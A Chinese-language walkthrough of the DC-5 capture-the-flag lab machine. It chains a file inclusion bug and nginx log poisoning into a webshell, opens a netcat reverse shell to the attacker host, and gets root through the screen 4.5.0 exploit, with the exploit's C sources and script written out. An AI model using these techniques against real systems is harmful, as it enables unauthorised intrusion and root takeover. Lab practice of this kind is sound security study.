1. 程式人生 > 其它 >6.DC-5

6.DC-5

DC-5

關於環境的搭建 , 大家可以自行百度

網路橋接

滲透機 kali

靶機 dc-5

0x01. 資訊收集

老規矩就是那一套 , 然後找到靶機的真實ip , 掃描一下全埠

nmap 192.168.0.149

可以看到只開放了 80 , 11 和 37625埠 , 訪問一下80埠

根據DC-5的官方提示 , 有一個會隨著重新整理頁面變化而變化的頁面 , 找了一番發現在一個留言處有這個

發現這個年份會變化 , ok , 如果你做過開發 , 你可能知道模板這個東西 , 像這種頁面底部 , 一般都是每個頁面都有的 , 就可以通過模板匯入 , 在php中 , 即檔案包含的地方 , 但是問題是我們不知道這個被包含的引數是什麼?以及被包含的檔名稱

通過目錄掃描 , (7kb) , 我們掃到了foot.php , 這個就應該是底部包含的檔名稱 , 接著是可控引數的尋找 , 這裡只能爆破了 , 但是一般就那幾個引數 , 不會很怪異的

filepath
filename
file
type
name   .....

最後爆破出來是file

http://192.168.0.149/thankyou.php?file=/etc/passwd

0x02. 漏洞發現和利用

通過上面發現出來了 , 確實是有檔案包含漏洞的 , 包含漏洞的利用方式有很多 , 這裡我們通過包含日誌檔案getsehll

nginx的預設配置檔案
/etc/nginx/nginx.conf

通過包含日誌的方式getshell

然後菜刀連線 , 反彈shell

kali監聽
nc -lvvp 4444

菜刀終端執行  nc -e /bin/sh 192.168.0.110 4444

進入互動式shell
python -c 'import pty;pty.spawn("/bin/bash")'

0x03. 提權

搜尋了核心版本 , 最後發現沒有exp , 驚不驚喜 , 意不意外 , 然後通過suid提權

find / -perm -u=s -type f  2>/dev/null

我們用 kali 自帶的漏洞褲 搜尋一下有無screen-4.5.0的提權漏洞

searchsploit screen

一個指令碼和一個說明檔案

我們先把兩個檔案都cp到tmp下

cp /usr/share/exploitdb/exploits/linux/local/41152.txt /tmp/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /tmp/41154.sh

大概意思就是會編譯兩個c檔案 , 然後把編譯好的檔案通過那個sh指令碼執行 , 就可以提權了

所以就先在本地編輯c檔案 , 開啟那個指令碼 , 根據提示在tmp資料夾下新建兩個新檔案 , 內容如下

vim libhax.c
#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!\n");}

然後就是編譯了 , 並刪除原始檔

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.c
vim rootshell.c
#include <stdio.h>int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL);}

然後就是編譯了 , 並刪除原始檔

gcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.c

這裡為什麼不直接在靶機上執行指令碼呢?因為執行失敗了,所以本地編譯,上傳,再執行

修改41154.sh指令碼 , 把原來的編譯給刪除了 , 內容如下

#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017) echo "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell

因為直接執行這個指令碼會出錯 , 所以

用vim開啟該sh檔案,輸入:[plain]:set ff  回車,顯示fileformat=dos,重新設定下檔案格式:[plain]:set ff=unix  儲存退出:[plain]:wq 

接下來就是通過一些方法 ( 可以通過python開啟http服務 , wget下載 ) , 把 libhax.so rootshell 41154.sh 上傳到靶機的/tmp目錄下 , 然後給指令碼以執行許可權

chmod +x 41154.sh./41154.sh

0x03. 總結

1.通過提示找到檔案包含漏洞getshell2.先反彈shell再說3.利用screen漏洞提權